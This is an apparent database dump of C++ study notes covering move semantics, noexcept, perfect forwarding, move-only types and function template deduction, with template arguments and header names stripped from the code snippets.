are declared as follows: text txt 2024-07-28 10:01:34.536843 0 +2166 498 1. There should be a template parameter.\n2. The parameter should be declared with two ampersands.\n3. Inside the function definition, parameter should be forwarded. text txt 2024-07-28 10:01:39.833572 0 +3060 722 #include text txt 2024-07-28 10:03:54.897948 0 +2129 490 namespace std {\n template\n class basic_string {\n public:\n constexpr basic_string& operator=(const basic_string& str);\n constexpr basic_string& operator=(basic_string&& str) noexcept(...);\n constexpr basic_string& operator=(const charT* s);\n };\n} code txt 2024-07-28 10:01:34.558261 0 +2130 490 This enables accidental assignment of a new value to a temporary string: text txt 2024-07-28 10:01:34.577673 0 +2131 490 std::string getString();\ngetString() = "sample"; // Okay\nfoo(getString() = ""); // Okay, accidental assignment instead of comparison code txt 2024-07-28 10:01:34.599832 0 +2132 490 Accidental assignments can be prevented by using reference qualifiers: text txt 2024-07-28 10:01:34.621616 0 +2133 490 namespace std {\n template\n class basic_string {\n public:\n constexpr basic_string& operator=(const basic_string& str) &;\n constexpr basic_string& operator=(basic_string&& str) & noexcept(...);\n constexpr basic_string& operator=(const charT* s) &;\n };\n} code txt 2024-07-28 10:01:34.644195 0 +2134 490 Code like this will no longer compile: text txt 2024-07-28 10:01:34.666038 0 +2135 490 std::string getString();\ngetString() = "sample"; // Error\nfoo(getString() = ""); // Error code txt 2024-07-28 10:01:34.68802 0 +2136 490 In general, you should do this for every member function that might modify an object. text txt 2024-07-28 10:01:34.709356 0 +2137 490 class MyType {\n public:\n // disable assigning value to temporary objects\n MyType& operator=(const MyType&) & = default;\n MyType& operator=(MyType&&) & = default; text txt 2024-07-28 10:01:34.730793 0 +2138 490 // enable these because they were disabled by assignment operators\n MyType(MyType const&) = default;\n MyType(MyType&&) = default;\n}; code txt 2024-07-28 10:01:34.752306 0 +2139 491 When an exception is thrown in the middle of the reallocation of the vector\nthe C++ standard library guarantees to roll back the vector to its previous\nstate. However, when using move semantics if an exception is thrown during\nthe reallocation, we might not be able to roll back. The elements in the new\nmemory have already stolen the values of the elements in the old memory. The\nfinal decision was to use move semantics on reallocation only when the move\nconstructor of the element types guarantees not to throw. text txt 2024-07-28 10:01:36.007859 0 +2140 491 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:36.030154 0 +2141 491 class Person\n{\n std::string name;\npublic:\n Person(char const* n) : name{n} { }\n Person(Person const& p): name{p.name} { std::cout << "COPY " << name << '\\\\n'; }\n Person(Person&& p): name{std::move(p.name)} { std::cout << "MOVE " << name << '\\\\n'; }\n}; text txt 2024-07-28 10:01:36.049993 0 +2142 491 int main()\n{\n std::vector artists{\n "Wolfgang Amadeus Mozart",\n "Johann Sebastian Bach",\n "Ludwig van Beethoven"}; text txt 2024-07-28 10:01:36.07084 0 +2143 491 std::cout << "Capacity: " << artists.capacity() << '\\\\n';\n artists.push_back("Pjotr Iljitsch Tschaikowski");\n} code txt 2024-07-28 10:01:36.091885 0 +2144 491 Add exception handling guarantee by adding conditional `noexcept` to move operators. text txt 2024-07-28 10:01:36.113284 0 +2145 491 Person(Person&& p) noexcept(std::is_nothrow_move_constructible_v\n && noexcept(std::cout << name)\n : name{std::move(p.name)} { std::cout << "MOVE " << name << '\\\\n'; } code txt 2024-07-28 10:01:36.132944 0 +2146 491 This still fails because the move constructor for strings does guarantee not\nto throw but the output operator does not. text txt 2024-07-28 10:01:36.153342 0 +2147 491 Person(Person&& p) = default; code txt 2024-07-28 10:01:36.174536 0 +2148 491 The compiler will detect `noexcept` guarantees for you if you do not\nimplement the move constructor yourself. For classes where all members\nguarantee not to throw in the move constructor, a generated or defaulted move\nconstructor will give the guarantee as a whole. text txt 2024-07-28 10:01:36.196114 0 +2149 492 The `noexcept` condition must be a compile-time expression that yields a value convertible to `bool`. text txt 2024-07-28 10:01:36.39575 0 +2150 493 You cannot overload functions that have only different `noexcept` conditions. text txt 2024-07-28 10:01:36.565784 0 +2151 494 In class hierarchies, a `noexcept` condition is part of the specified\ninterface. Overwriting a base class function that is `noexcept` with a\nfunction that is not `noexcept` is an error (but not the other way around). text txt 2024-07-28 10:01:37.518201 0 +2152 494 class Base\n{\npublic:\n ...\n virtual void foo(int) noexcept;\n virtual void foo(int); // ERROR: overload on different noexcept clause only\n virtual void bar(int);\n}; text txt 2024-07-28 10:01:37.538598 0 +2153 494 class Derived : public Base\n{\npublic:\n ...\n virtual void foo(int) override; // ERROR: override giving up the noexcept guarantee\n virtual void bar(int) noexcept; // OK (here we also guarantee not to throw)\n}; code txt 2024-07-28 10:01:37.560781 0 +2154 494 However, for non-virtual functions, derived-class members can hide base-class\nmembers with a different `noexcept` declaration: text txt 2024-07-28 10:01:37.582174 0 +2155 494 class Base\n{\npublic:\n ...\n void foo(int) noexcept;\n}; text txt 2024-07-28 10:01:37.60244 0 +2156 494 class Derived : public Base\n{\npublic:\n ...\n void foo(int); // OK, hiding instead of overriding\n}; code txt 2024-07-28 10:01:37.622623 0 +2157 495 In that case, the operations guarantee not to throw if the corresponding\noperations called for all bases classes and non-`static` members guarantee\nnot to throw. text txt 2024-07-28 10:01:38.249472 0 +2158 495 #include \n#include text txt 2024-07-28 10:01:38.269858 0 +2159 495 class B\n{\n std::string s;\n}; text txt 2024-07-28 10:01:38.290533 0 +2160 495 int main()\n{\n std::cout << std::boolalpha;\n std::cout << std::is_nothrow_default_constructible::value << '\\\\n'; // true\n std::cout << std::is_nothrow_copy_constructible::value << '\\\\n'; // false\n std::cout << std::is_nothrow_move_constructible::value << '\\\\n'; // true\n std::cout << std::is_nothrow_copy_assignable::value << '\\\\n'; // false\n std::cout << std::is_nothrow_move_assignable::value << '\\\\n'; // true\n} code txt 2024-07-28 10:01:38.314068 0 +2161 496 The noexcept condition is even generated when these special member functions\nare user-declared with `=default`. text txt 2024-07-28 10:01:38.778789 0 +2162 496 class B\n{\n std::string s;\npublic:\n B(const B&) = default; // noexcept condition automatically generated\n B(B&&) = default; // noexcept condition automatically generated\n B& operator= (const B&) = default; // noexcept condition automatically generated\n B& operator= (B&&) = default; // noexcept condition automatically generated\n}; code txt 2024-07-28 10:01:38.799894 0 +2163 497 When you have a defaulted special member function you can explicitly specify\na different `noexcept` guarantee than the generated one. text txt 2024-07-28 10:01:39.268934 0 +2164 497 class C\n{\n ...\npublic:\n C(const C&) noexcept = default; // guarantees not to throw (OK since C++20)\n C(C&&) noexcept(false) = default; // specifies that it might throw (OK since C++20)\n ...\n}; code txt 2024-07-28 10:01:39.288611 0 +2165 497 Before C++20, if the generated and specified `noexcept` condition contradict,\nthe defined function was deleted. text txt 2024-07-28 10:01:39.309602 0 +2167 498 #include text txt 2024-07-28 10:01:39.855476 0 +2168 498 template\nvoid do_something(T&& x)\n{\n do_special_task(std::forward(x));\n} code txt 2024-07-28 10:01:39.878796 0 +2169 499 An **rvalue reference** of a **function template parameter** not qualified\nwith `const` or `volatile` does not follow the rules of ordinary rvalue\nreferences, but is called a **universal reference** instead. text txt 2024-07-28 10:01:40.244479 0 +2170 499 Universal references can bind to objects of all types and value categories. text txt 2024-07-28 10:01:40.265078 0 +2171 499 code txt 2024-07-28 10:01:40.287229 0 +2172 500 The following is the rule for binding all references. text txt 2024-07-28 10:01:40.895232 0 +2173 500 class X {};\nX v;\nconst X c; text txt 2024-07-28 10:01:40.916331 0 +2174 500 void f(const X&);\nvoid f(X&);\nvoid f(X&&);\nvoid f(const X&&);\ntemplate\nvoid f(T&&); code txt 2024-07-28 10:01:40.937104 0 +2175 500 |Call|`f(X&)`|`f(const X&)`|`f(X&&)`|`f(const X&&)`|`f(T&&)`|\n|---|---|---|---|---|---|---|\n|`f(v)`|1|3|-|-|2|\n|`f(c)`|-|1|-|-|2|\n|`f(X{})`|-|4|1|3|2|\n|`f(move(v))`|-|4|1|3|2|\n|`f(move(c))`|-|3|-|1|2| text txt 2024-07-28 10:01:40.95788 0 +2176 501 Like for `std::move()`, the semantic meaning of `std::forward<>()` is *I no\nlonger need this value here*, with the additional benefit that we preserve\nthe type, including constness and the value category. text txt 2024-07-28 10:01:41.241338 0 +2177 502 template\nvoid call_foo(T&& arg)\n{\n foo(std::forward(arg));\n} text txt 2024-07-28 10:01:41.728303 0 +2178 502 template\nvoid call_foo(T1&& arg1, T2&& arg2)\n{\n foo(std::forward(arg1), std::forward(arg2));\n} code txt 2024-07-28 10:01:41.750955 0 +2179 503 template\nvoid call_foo(Ts&&... args)\n{\n foo(std::forward(args)...);\n} code txt 2024-07-28 10:01:42.109461 0 +2180 504 1. Declare returned value as `auto&&`, a universal reference without a template parameter.\n2. Forward the returned value. text txt 2024-07-28 10:01:42.594907 0 +2181 504 process(compute(t)); // OK, perfect code txt 2024-07-28 10:01:42.614396 0 +2182 504 Similarly, we can get a universal reference and forward it: text txt 2024-07-28 10:01:42.635761 0 +2183 504 auto&& value = compute(t);\nprocess(std::forward(value)); code txt 2024-07-28 10:01:42.65598 0 +2184 505 class MoveOnly\n{\npublic:\n // constructors:\n MoveOnly();\n ... text txt 2024-07-28 10:01:43.487465 0 +2185 505 // copying disabled:\n MoveOnly(const MoveOnly&) = delete;\n MoveOnly& operator= (const MoveOnly&) = delete; text txt 2024-07-28 10:01:43.508239 0 +2186 505 // moving enabled:\n MoveOnly(MoveOnly&&) noexcept;\n MoveOnly& operator= (MoveOnly&&) noexcept;\n}; text txt 2024-07-28 10:01:43.528216 0 +2187 505 std::vector coll;\n...\ncoll.push_back(MoveOnly{}); // OK, creates a temporary object, which is moved into coll\n...\nMoveOnly mo;\ncoll.push_back(mo); // ERROR: can’t copy mo into coll\ncoll.push_back(std::move(mo)); // OK, moves mo into coll code txt 2024-07-28 10:01:43.549924 0 +2188 505 By rule, it would be enough to declare the moving special member function\n(because declaring special move members marks the copying members as\ndeleted). However, explicitly marking the copying special member function\nwith =delete makes the intention more clear. text txt 2024-07-28 10:01:43.570114 0 +2189 506 To move the value of a move-only element out of the container, simply use\nstd::move() for a reference to the element. For example: text txt 2024-07-28 10:01:44.095566 0 +2190 506 mo = std::move(coll[0]); // move assign first element (still there with moved-from state) code txt 2024-07-28 10:01:44.116867 0 +2191 506 However, remember that after this call, the element is still in the container\nwith a moved-from state. Moving out all elements is also possible in loops: text txt 2024-07-28 10:01:44.136422 0 +2192 506 for (auto& elem : coll)\n{\n // note: non-const reference\n coll2.push_back(std::move(elem)); // move element to coll2\n} code txt 2024-07-28 10:01:44.158641 0 +2193 506 Again: the elements are still in the container with their moved-from state. text txt 2024-07-28 10:01:44.180012 0 +2194 507 You cannot use `std::initializer_list`s because they are usually passed by\nvalue, which requires copying of the elements: text txt 2024-07-28 10:01:44.443712 0 +2195 507 std::vector coll{ MoveOnly{}, ... }; // ERROR code txt 2024-07-28 10:01:44.464391 0 +2196 508 You can only iterate by reference over all move-only elements of a container: text txt 2024-07-28 10:01:44.874001 0 +2197 508 std::vector coll; text txt 2024-07-28 10:01:44.894577 0 +2198 508 for (const auto& elem : coll) { // OK\n ...\n} text txt 2024-07-28 10:01:44.915981 0 +2199 508 for (auto elem : coll) { // ERROR: can’t copy move-only elements\n ...\n} code txt 2024-07-28 10:01:44.937279 0 +2200 509 You can pass and return move-only objects by value provided move semantics is\nused: text txt 2024-07-28 10:01:45.470843 0 +2201 509 void sink(MoveOnly arg); // sink() takes ownership of the passed argument text txt 2024-07-28 10:01:45.490487 0 +2202 509 sink(MoveOnly{}); // OK, moves temporary objects to arg\nMoveOnly mo;\nsink(mo); // ERROR: can’t copy mo to arg\nsink(std::move(mo)); // OK, moves mo to arg because passed by value text txt 2024-07-28 10:01:45.511809 0 +2203 509 MoveOnly source()\n{\n MoveOnly mo;\n ...\n return mo; // moves mo to the caller\n}\nMoveOnly m{source()}; // takes ownership of the associated value/resource code txt 2024-07-28 10:01:45.532737 0 +2204 510 If you pass a move-only object to a sink function and want to ensure that you\nhave lost ownership (file closed, memory freed, etc.), explicitly release the\nresource directly afterwards. text txt 2024-07-28 10:01:45.770951 0 +2205 511 `std::move()` moves elements to another range in the same range (do not\nconfuse this algorithm with the `std::move()` to mark an object that you no\nlonger need its value). The effect of these algorithms is a move assignment\nto the destination range calling `std::move(elem)` for each element while\niterating over them. text txt 2024-07-28 10:01:46.779755 0 +2206 511 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:01:46.801121 0 +2207 511 int main(int argc, char** argv)\n{\n std::list coll1 { "love", "is", "all", "you", "need" };\n std::vector coll2; text txt 2024-07-28 10:01:46.822322 0 +2208 511 // ensure coll2 has enough elements to overwrite their values:\n coll2.resize(coll1.size()); text txt 2024-07-28 10:01:46.844569 0 +2209 511 // coll1 (5 elems): ’love’ ’is’ ’all’ ’you’ ’need’\n // coll2 (5 elems): ’’ ’’ ’’ ’’ ’’ text txt 2024-07-28 10:01:46.866427 0 +2210 511 // move assign the values from coll1 to coll2\n // - not changing any size\n std::move(coll1.begin(), coll1.end(), // source range\n coll2.begin()); // destination range text txt 2024-07-28 10:01:46.887362 0 +2211 511 // coll1 (5 elems): ’?’ ’?’ ’?’ ’?’ ’?’\n // coll2 (5 elems): ’love’ ’is’ ’all’ ’you’ ’need’ text txt 2024-07-28 10:01:46.907874 0 +2212 511 // move assign the first three values inside coll2 to the end\n // - not changing any size\n std::move_backward(coll2.begin(), coll2.begin()+3, // source range\n coll2.end()); // destination range text txt 2024-07-28 10:01:46.929923 0 +2213 511 // coll1 (5 elems): ’?’ ’?’ ’?’ ’?’ ’?’\n // coll2 (5 elems): ’?’ ’?’ ’love’ ’is’ ’all’\n} code txt 2024-07-28 10:01:46.949994 0 +2214 512 While iterating over elements of a container or range, each access to an\nelement uses `std::move()`. This might be significantly faster but it leaves\nthe element in a valid but unspecified state. You should not use an element\ntwice. text txt 2024-07-28 10:01:47.927288 0 +2215 512 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:47.949759 0 +2216 512 int main()\n{\n std::vector coll{"don't", "vote", "for", "liars"}; text txt 2024-07-28 10:01:47.972214 0 +2217 512 // move away only the elements processed:\n std::for_each(std::make_move_iterator(coll.begin()),\n std::make_move_iterator(coll.end()),\n [] (auto&& elem) {\n if (elem.size() != 4) {\n process(std::move(elem));\n }\n });\n} code txt 2024-07-28 10:01:47.992931 0 +2218 512 As you can see, a helper function `std::make_move_iterator()` is used so that\nyou do not have to specify the element type when declaring the iterator.\nSince C++17, *class template argument deduction (CTAD)* enables simply\ndeclaring the type `std::move_iterator` directly without the need to specify\nthe element type: text txt 2024-07-28 10:01:48.013893 0 +2219 512 std::for_each(std::move_iterator(coll.begin()),\n std::move_iterator(coll.end()),\n [] (auto&& elem) {\n if (elem.size() != 4) {\n process(std::move(elem));\n }\n }); code txt 2024-07-28 10:01:48.034402 0 +2220 513 You can also use move iterators wherever an algorithm that reads elements\nonce is used. A useful scenario might be to move elements of a source\ncontainer to another container (of the same or a different kind). text txt 2024-07-28 10:01:48.711845 0 +2221 513 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:48.733667 0 +2222 513 int main()\n{\n std::list src{"don't", "vote", "for", "liars"}; text txt 2024-07-28 10:01:48.75564 0 +2223 513 // move all elements from the list to the vector:\n std::vector vec{\n std::make_move_iterator(src.begin()),\n std::make_move_iterator(src.end())\n };\n} code txt 2024-07-28 10:01:48.776245 0 +2224 513 Note again that the number of elements in the source container did not\nchange. We moved all elements to the initialized new container. Therefore,\nthe elements in the source range are in a moved-from state afterwards and we\ndo not know their values. text txt 2024-07-28 10:01:48.797334 0 +2225 514 Only move operations, `swap()`, or `shrink_to_fit()` might shrink them. text txt 2024-07-28 10:01:49.210718 0 +2226 514 std::string s1{"some long string"};\nstd::string s2{std::move(s1)}; text txt 2024-07-28 10:01:49.231093 0 +2227 514 std::string s3;\ns3 = std::move(s2); code txt 2024-07-28 10:01:49.251462 0 +2228 514 Sometimes source destination shrinks, but neither is guaranteed. text txt 2024-07-28 10:01:49.270811 0 +2229 515 All containers support move semantics when: text txt 2024-07-28 10:01:49.878133 0 +2230 515 * Copying the containers\n* Assigning the containers\n* Inserting elements into the container text txt 2024-07-28 10:01:49.89899 0 +2231 515 However, there is one exception: `std::array<>` does not allocate memory on\nthe heap, hense it operates element-by-element and making move operations\nequivalent to copy. text txt 2024-07-28 10:01:49.920141 0 +2232 515 std::list createAndInsert()\n{\n std::list coll;\n ...\n return coll; // move constructor if not optimized away\n} text txt 2024-07-28 10:01:49.941449 0 +2233 515 std::list v;\n...\nv = createAndInsert(); // move assignment code txt 2024-07-28 10:01:49.963058 0 +2234 516 For the move constructor: text txt 2024-07-28 10:01:50.431309 0 +2235 516 ContainerType cont1{ ... };\nContainerType cont2{std::move(cont1)}; // move the container code txt 2024-07-28 10:01:50.452614 0 +2236 516 The C++ standard specifies constant complexity. This means that the duration\nof a move does not depend on the number of elements. With this guarantee,\nimplementers have no other option but to steal the memory of elements as a\nwhole from the source object `cont1` to the destination object `cont2`,\nleaving the source object `cont1` in an initial/empty state. text txt 2024-07-28 10:01:50.474968 0 +2237 516 These requirements and guarantees essentially mean that moved-from containers\nare usually empty. text txt 2024-07-28 10:01:50.495318 0 +2238 517 All containers support moving a new element into the container. text txt 2024-07-28 10:01:51.393806 0 +2239 517 1. Insert Functions: all containers have corresponding overloads. text txt 2024-07-28 10:01:51.414651 0 +2240 517 template, typename Allocator = allocator>>\nclass map\n{\npublic:\n ...\n pair insert(const value_type& x);\n pair insert(value_type&& x);\n ...\n}; code txt 2024-07-28 10:01:51.436872 0 +2241 517 1. Emplace Functions: you can pass multiple arguments to initialize a new\n element directly in the container to save a copy or move. text txt 2024-07-28 10:01:51.457243 0 +2242 517 Functions like `emplace_back()` use perfect forwarding to avoid creating\ncopies of the passed arguments. text txt 2024-07-28 10:01:51.478462 0 +2243 517 template>\nclass vector\n{\npublic:\n template\n constexpr T& emplace_back(Args&&... args)\n {\n ...\n // call the constructor with the perfectly forwarded arguments:\n place_element_in_memory(T(std::forward(args)...));\n ...\n }\n}; code txt 2024-07-28 10:01:51.500763 0 +2244 518 `std::array<>` is the only container that does not allocate memory on the\nheap. Therefore, we cannot implement move operations in a way that they move\npointers to internal memory. As a consequence, std::array<> has a couple of\ndifferent guarantees: text txt 2024-07-28 10:01:51.901992 0 +2245 518 - The move constructor has linear complexity because it has to move element\n by element.\n- The move assignment operator might always throw because it has to move\n assign element by element. text txt 2024-07-28 10:01:51.922928 0 +2246 518 Therefore, in principle, there is no difference between copying or moving an\narray of numeric values: text txt 2024-07-28 10:01:51.943335 0 +2247 519 template\nstruct pair\n{\n T1 first;\n T2 second;\n}; code txt 2024-07-28 10:01:52.523365 0 +2248 519 `std::pair` has a default constructor, and copy and move semantics. text txt 2024-07-28 10:01:52.543561 0 +2249 519 constexpr pair(const T1& x, const T2& y);\ntemplate constexpr pair(U&& x, V&& y);\ntemplate constexpr pair(const pair& p);\ntemplate constexpr pair(pair&& p);\ntemplate pair(piecewise_construct_t, tuple first_args, tuple second_args); code txt 2024-07-28 10:01:52.564712 0 +2250 519 Therefore, we can use move semantics when constructing a pair. text txt 2024-07-28 10:01:52.585443 0 +2251 520 1. You implement the same behavior repeatedly for each different types, you\n make the same mistakes.\n2. You write general code for a common base type such as `void*`, you lose\n type checking and lose the control of maitaining derived classes.\n3. You use special preprocessors, code is replaced by stupid text replacement\n mechanism that has no idea of scope and types. text txt 2024-07-28 10:01:52.933492 0 +3063 722 enum item_size { small, medium, large }; text txt 2024-07-28 10:03:54.960982 0 +2252 521 Historically, `class` keyword can be used instead of `typename`. However,\nbecause this use of `class` can be misleading, you should prefer the use of\n`typename`. The keyword `struct` cannot be used in place of `typename` when\ndeclaring type parameters. text txt 2024-07-28 10:01:53.189655 0 +2253 522 - Without instantiation at definition time, the template code itself is\n checked for correctness ignoring the template parameters.\n + Syntax errors are discovered, such as missing semicolons.\n + Using unknown names that don't depend on template parameters are\n discovered.\n + Static assertions that don't depend on template parameters are checked.\n- At instantiation time, the template code is checked again to ensure that\n all code is valid. Especially, all parts that depend on template parameters\n are double-checked. text txt 2024-07-28 10:01:53.702133 0 +2254 522 template\nvoid foo(T t)\n{\n undeclared(); // first-stage compile-time error\n undeclared(t); // second-stage compile-time error\n} code txt 2024-07-28 10:01:53.723431 0 +2255 523 When a function template is used in a way that triggers its instantiation, a\ncompiler at some point will need to see that template's definition. This\nbreaks the usual compile and link distinction for ordinary functions, when\nthe declaration of a function is sufficient to compile its use. The simplest\napproach to handle this problem is to implement each template inside a header\nfile. text txt 2024-07-28 10:01:54.003318 0 +2256 524 Function template defintion specifies a family of functions with parameters\nleft undetermined, parameterized as template parameters. text txt 2024-07-28 10:01:54.355943 0 +2257 524 template\nT max(T a, T b)\n{\n return b < a ? a : b;\n} code txt 2024-07-28 10:01:54.376344 0 +2258 525 * You can use any type, as long as the it provides the operations that the\n template uses.\n* Value of type `T` must also be copyable in order to be returned.\n* Before C++17, type `T` also had to be copyable to be able to pass in\n arguments, but since C++17 you can pass rvalues even if neither a copy nor\n a move constructor is valid. text txt 2024-07-28 10:01:54.690314 0 +2259 526 template\nT max(T a, T b) { return b < a ? a : b; } text txt 2024-07-28 10:01:55.102587 0 +2260 526 max(7, 42); // 42\n::max(3.4, -6.7); // 3.4\n::max("mathematics", "math"); // mathematics code txt 2024-07-28 10:01:55.123808 0 +2261 526 Each call to `max()` template is qualified with `::` to ensure template is\nfound in the global namespace, not possibly the one in `std` namespace. text txt 2024-07-28 10:01:55.145065 0 +2262 527 When we call a function template, the template parameters are determined by\nthe arguments we pass. However, template parameters might only be part of the\narguments type. text txt 2024-07-28 10:01:55.577323 0 +2263 527 If we declare a function template to use constant references as function\narguments, and pass `int`, template parameter is deduced as `int`, because\nthe parameters match for `int const&`. text txt 2024-07-28 10:01:55.598019 0 +2264 527 template\nT max(T const& a, T const& b) { return a < b ? b : a; } text txt 2024-07-28 10:01:55.618275 0 +2265 527 max(7, 42); // T is int code txt 2024-07-28 10:01:55.638611 0 +2266 528 - When declaring call parameters by reference, even trivial conversion do not\n apply to type dedution. Two arguments declared with the same template\n parameter `T` must match exactly.\n- When declaring call parameters by value, only trivial conversion that decay\n are supported. Qualifications with `const` or `volatile` are ignored,\n references convert to the referenced type, and raw arrays or functions\n convert to the corresponding pointer type. For two arguments declared with\n the same template parameter `T` the decayed types must match. text txt 2024-07-28 10:01:56.341775 0 +2267 528 template\nT max(T a, T b) { return a < b ? b : a; } text txt 2024-07-28 10:01:56.36368 0 +2268 528 int const c = 42;\nmax(i, c); // OK: T deduced as int\nmax(c, c); // OK: T deduced as int text txt 2024-07-28 10:01:56.384947 0 +2269 528 int& ir = i;\nmax(i, ir); // OK: T deduced as int text txt 2024-07-28 10:01:56.405565 0 +2270 528 int arr[4];\nmax(&i, arr); // OK: T deduced as int* text txt 2024-07-28 10:01:56.42556 0 +2271 528 max(4, 7.2); // ERROR: T can be dudeced as int or double text txt 2024-07-28 10:01:56.444747 0 +2272 528 std::string s;\nmax("text", s); // ERROR: T can be deduced as char const[5] or std::string code txt 2024-07-28 10:01:56.46651 0 +2273 529 1. Cast the arguments so that they both match: text txt 2024-07-28 10:01:57.149006 0 +2274 529 max(static_cast(4), 7.2); code txt 2024-07-28 10:01:57.169932 0 +2275 529 2. Specify explicitly the type of function template parameter to prevent the compiler from attempting type deduction: text txt 2024-07-28 10:01:57.190277 0 +2276 529 max(4, 7.2); code txt 2024-07-28 10:01:57.211552 0 +2277 529 3. Specify that the parameters may have different types: text txt 2024-07-28 10:01:57.233511 0 +2278 529 #include text txt 2024-07-28 10:01:57.254982 0 +2279 529 template\nauto max(T a, R b) -> std::common_type_t\n{\n return a < b ? b : a;\n} text txt 2024-07-28 10:01:57.274513 0 +2280 529 max(4, 7.2); code txt 2024-07-28 10:01:57.294625 0 +2281 530 Type deduction does not work for default call arguments. text txt 2024-07-28 10:01:57.801092 0 +2282 530 template\nvoid f(T = ""); text txt 2024-07-28 10:01:57.822205 0 +2283 530 f(1); // OK: f(1)\nf(); // ERROR: cannot deduce T code txt 2024-07-28 10:01:57.842494 0 +2284 530 You have to declare a default function template parameter. text txt 2024-07-28 10:01:57.863871 0 +2285 530 template\nvoid f(T = ""); text txt 2024-07-28 10:01:57.885641 0 +2286 530 f(); // OK: f() code txt 2024-07-28 10:01:57.906563 0 +2287 531 template\nT1 max(T1 a, T2 b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:01:58.245088 0 +2288 531 auto m = ::max(4, 7.2); // OK:: but max returns int code txt 2024-07-28 10:01:58.265538 0 +2289 532 - Introduce an additional template parameter for the return type\n- Let the compiler find out the return type.\n- Declare the return type to be the common type of the parameter types. text txt 2024-07-28 10:01:58.479603 0 +2290 533 In cases when there is no connection between template and call parameters and\nwhen template parameters cannot be determined, you must specify the template\nargument explicitly with the call. For example, the additional template\nargument type to define the return type of a function template. However,\ntemplate argument deduction does not take return types into account, and its\ntemplate parameter does not appear in the types of the function call\nparameters. Therefore, it cannot be deduced. text txt 2024-07-28 10:01:59.151973 0 +2291 533 As a consequence, you have to specify the template argument list explicitly: text txt 2024-07-28 10:01:59.173271 0 +2292 533 template\nRT max(T1 a, T2 b); text txt 2024-07-28 10:01:59.194991 0 +2293 533 max(4, 7.2); // OK, but tedious code txt 2024-07-28 10:01:59.216487 0 +2294 533 Another approach is to specify return type template parameter at first: text txt 2024-07-28 10:01:59.238212 0 +2295 533 template \nRT max(T1 a, T2 b); text txt 2024-07-28 10:01:59.260087 0 +2296 533 max(4, 7.2); // OK code txt 2024-07-28 10:01:59.281122 0 +2297 533 These modifications don't lead to significant advantages. text txt 2024-07-28 10:01:59.302382 0 +2298 534 Since C++14, this is possible by simply not declaring any return type: text txt 2024-07-28 10:01:59.690544 0 +2299 534 template\nauto max(T1 a, T2 b); code txt 2024-07-28 10:01:59.711724 0 +2300 534 Deducing the return type from the function body has to be possible.\nTherefore, the code must be available and multiple return statements have to\nmatch. text txt 2024-07-28 10:01:59.732117 0 +2301 535 template\nauto max(T1 a, T2 b) -> decltype(b < a ? a : b); code txt 2024-07-28 10:02:00.14531 0 +2302 535 Using this method the implementation does not necessarily have to match. Even\nusing `true` as the condition for ternary operator in the declaration is\nenough: text txt 2024-07-28 10:02:00.166198 0 +2303 535 template\nauto max(T1 a, T2 b) -> decltype(true ? a : b); code txt 2024-07-28 10:02:00.187062 0 +2304 536 It might happen that the return type is a reference type, because under some\nconditions the template parameter might be a reference. For this reason you\nshould return the type decayed from the template paramter, which looks as\nfollows: text txt 2024-07-28 10:02:00.79177 0 +2305 536 #include text txt 2024-07-28 10:02:00.81186 0 +2306 536 template\nauto max(T1 a, T2 b) -> typename std::decay::type; code txt 2024-07-28 10:02:00.832162 0 +2307 536 Because the member `type` is a type, you have to qualify the expression with\n`typename` to access it. text txt 2024-07-28 10:02:00.852322 0 +2308 536 Initialization of `auto` always decays. This also applies to return\nvalues when the return type is just `auto`. text txt 2024-07-28 10:02:00.873268 0 +2309 536 int i = 42;\nint coust& ir = i;\nauto a = ir; // a is declared as new object of type int code txt 2024-07-28 10:02:00.893367 0 +2310 537 `std::common_type` is a type trait, defined in ``, which yields\na structure having a `type` static member for the resulting type. Thus, it\nneeds a `typename` beforehand in order to access its type. text txt 2024-07-28 10:02:01.462609 0 +2311 537 #include text txt 2024-07-28 10:02:01.48378 0 +2312 537 template\ntypename std::common_type::type max(T1 a, T2 b); code txt 2024-07-28 10:02:01.504026 0 +2313 537 Since C++14, `std::common_type_t` is equivalent to\n`std::common_type::type`. text txt 2024-07-28 10:02:01.524279 0 +2314 537 #include text txt 2024-07-28 10:02:01.545933 0 +2315 537 template\nstd::common_type_t max(T1 a, T2 b); text txt 2024-07-28 10:02:01.56566 0 +2316 537 Note that `std::common_type<>` decays. text txt 2024-07-28 10:02:01.586655 0 +2317 538 Initialization of `auto` always decays. This also applies to return\nvalues when the return type is just `auto`. text txt 2024-07-28 10:02:01.899979 0 +2318 538 int i = 42;\nint coust& ir = i;\nauto a = ir; // a is declared as new object of type int code txt 2024-07-28 10:02:01.919849 0 +2319 539 Default template arguments can be used with any kind of template. They may\neven refer to previous template parameters. text txt 2024-07-28 10:02:02.472703 0 +2320 539 #include text txt 2024-07-28 10:02:02.491883 0 +2321 539 template> code txt 2024-07-28 10:02:02.512847 0 +2322 539 Another way is to use `std::common_type<>` which also decays so that return\nvalue doesn't become a reference. text txt 2024-07-28 10:02:02.533909 0 +2323 539 RT max(T1 a, T2 b); text txt 2024-07-28 10:02:02.555607 0 +2324 539 template>\nRT max(T1 a, T2 b); code txt 2024-07-28 10:02:02.577455 0 +2325 540 In principle, it is possible to have default arguments for leading function\ntemplate parameters even if parameters without default arguments follow: text txt 2024-07-28 10:02:03.017349 0 +2326 540 template\nRT max(T1 a, T2 b); text txt 2024-07-28 10:02:03.037374 0 +2327 540 int i;\nlong l;\nmax(i, l); // returns long due default argument of template parameter for return type\nmax(7, 42); // returns int as explicitly specified, T1 and T2 deduced by function arguments code txt 2024-07-28 10:02:03.057526 0 +2328 540 However, this approach only makes sence, if there is a natural default for a\ntemplate parameter. text txt 2024-07-28 10:02:03.078119 0 +2329 541 int max(int a, int b); text txt 2024-07-28 10:02:03.999858 0 +2330 541 template\nT max(T a, T b); code txt 2024-07-28 10:02:04.021183 0 +2331 541 The overload resolution process prefers the nontemplate over one generated\nfrom the template. text txt 2024-07-28 10:02:04.042676 0 +2332 541 max(7, 42); // calls the nontemplate for two ints code txt 2024-07-28 10:02:04.0633 0 +2333 541 If the template can generate a function with a better match, then the\ntemplate is selected. Here, the template is a better match because no\nconversion from `double` or `char` to `int` is required. text txt 2024-07-28 10:02:04.082881 0 +2334 541 max(7.0, 42.0); // calls max by argument deduction\n::max('a', 'b'); // calls max by argument deduction code txt 2024-07-28 10:02:04.10383 0 +2335 541 An empty template argument list indicates that only templates may resolve a\ncall, but all the template parameters should be deduced from the call\narguments. text txt 